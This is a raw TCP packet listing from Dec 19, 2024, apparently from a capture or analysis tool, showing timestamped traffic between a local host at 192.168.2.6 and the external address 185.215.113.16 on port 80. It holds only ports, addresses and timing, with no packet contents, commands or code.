Dec 19, 2024 08:46:25.469841003 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.469902992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.470686913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.470839977 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.470879078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.471347094 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.471667051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.471862078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.472296953 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.472650051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.472841024 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.472922087 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.473697901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.473882914 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.474005938 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.474627018 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.474816084 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.474884987 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.475637913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.475848913 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.476170063 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.476568937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.476798058 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.476994991 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.477550983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.477776051 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.477879047 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.478555918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.478692055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.479270935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.479518890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.479717016 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.480214119 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.480541945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.480690956 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.480966091 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.481483936 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.481712103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.481796026 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.482449055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.482712984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.482801914 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.483473063 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.483726025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.483866930 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.484468937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.484824896 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.484914064 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.495451927 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.495623112 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.495739937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.496088982 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.496203899 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.496743917 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.496933937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.497116089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.497736931 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.498007059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.498049974 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.503353119 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.512701035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.515377998 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.629385948 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.629580021 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.629923105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.630390882 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.630934000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.631009102 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.631063938 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.631364107 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.631861925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.632026911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.632812023 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.632900000 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.632991076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.633857012 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.633929968 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.634004116 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.634381056 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.634819984 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.634974957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.635360003 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.635754108 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.635960102 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.636091948 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.636740923 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.636970997 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.637160063 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.637715101 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.637918949 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.638047934 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.638717890 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.638911009 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.639488935 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.639702082 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.639890909 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.640156031 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.640659094 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.640832901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.640966892 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.641647100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.641828060 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.642088890 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.642594099 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.642812014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.643589020 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.643702984 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.643759966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.644594908 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.644622087 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.644722939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.645569086 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.645612955 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.645726919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.646548986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.646591902 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.646687031 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.646919966 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.647496939 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.647778988 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.647850037 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.648518085 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.648679972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.648761034 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.649472952 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.649678946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.650517941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.650568008 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.650715113 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.651124001 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.651463985 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.651675940 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.651825905 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.652468920 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.652688026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.652790070 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.653460026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.653739929 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.654403925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.654618025 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.654745102 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.655427933 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.655551910 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.655601978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.656399965 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.656605959 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.656661987 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.657283068 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.657520056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.657601118 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.657701969 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.658344030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.658524036 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.658664942 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.659305096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.659528017 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.659902096 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.660329103 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.660485983 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.660820007 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.661269903 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.661546946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.661818027 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.662297010 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.662441969 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.662543058 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.663223028 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.663541079 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.663707018 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.664215088 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.664423943 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.664488077 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.665189028 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.665416002 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.665712118 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.666155100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.666368008 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.667254925 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.667397022 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.667447090 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.668144941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.668329000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.668378115 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.668895006 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.669090986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.669306040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.670011997 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.670095921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.670305014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.670589924 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.671113014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.671292067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.671536922 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.672080994 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.672269106 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.672394037 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.673098087 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.673294067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.673963070 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.674063921 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.687612057 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:25.690634012 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.815376997 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:25.934866905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.252547026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.252670050 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.252743959 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.252990007 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.253362894 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.253465891 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.253967047 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.254160881 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.255445957 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.255446911 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.255625963 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.255690098 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.256016016 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.256022930 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.256112099 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.256917000 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.257078886 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.257350922 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.377016068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.377218962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.377367020 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.377502918 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.377654076 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.377733946 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.377995968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.378637075 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.378748894 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.378802061 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.379606962 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.379822969 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.379827023 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.380588055 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.380669117 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.539145947 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.539407969 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.539482117 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.539518118 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.539887905 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.539936066 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.540920973 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.541274071 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.541376114 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.542318106 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.542325974 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.542377949 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.543831110 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.543838978 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.543900967 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.545154095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.545171976 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.545237064 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.546622992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.546631098 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.546729088 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.548003912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.548011065 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.548057079 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.548758030 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.548768044 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.548878908 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.549645901 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.549652100 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.549724102 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.550316095 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.550322056 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.550396919 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.550970078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.550983906 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.551054001 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.551708937 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.551717043 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.551769972 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.552397013 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.552407026 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.552541018 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.553147078 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.553153992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.553199053 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.553806067 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.553819895 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.553864956 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.554476023 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.554821014 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.555187941 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.555299044 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.555506945 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.556190968 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.556241035 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.556349993 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.557122946 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.557190895 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.557313919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.557382107 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.558115959 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.558317900 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.558403015 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.559087992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.559298038 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.559381008 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.560091019 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.560295105 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.560344934 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.561065912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.561264992 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.562036037 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.562122107 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.562253952 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.563031912 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.563107967 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.563261986 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.563339949 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.563976049 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.564141989 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.564203978 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.568926096 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.614216089 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.626807928 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.626928091 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.627186060 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.627213001 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.627361059 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.627414942 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.627774954 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.628057957 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.628298998 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.628739119 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.628942966 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.629790068 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.629887104 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.629945040 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.630723953 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.630801916 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.630877972 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.630961895 CET	49764	80	192.168.2.6	185.215.113.16
Dec 19, 2024 08:46:26.631681919 CET	80	49764	185.215.113.16	192.168.2.6
Dec 19, 2024 08:46:26.631865978 CET	80	49764	185.215.113.16	192.168.2.6
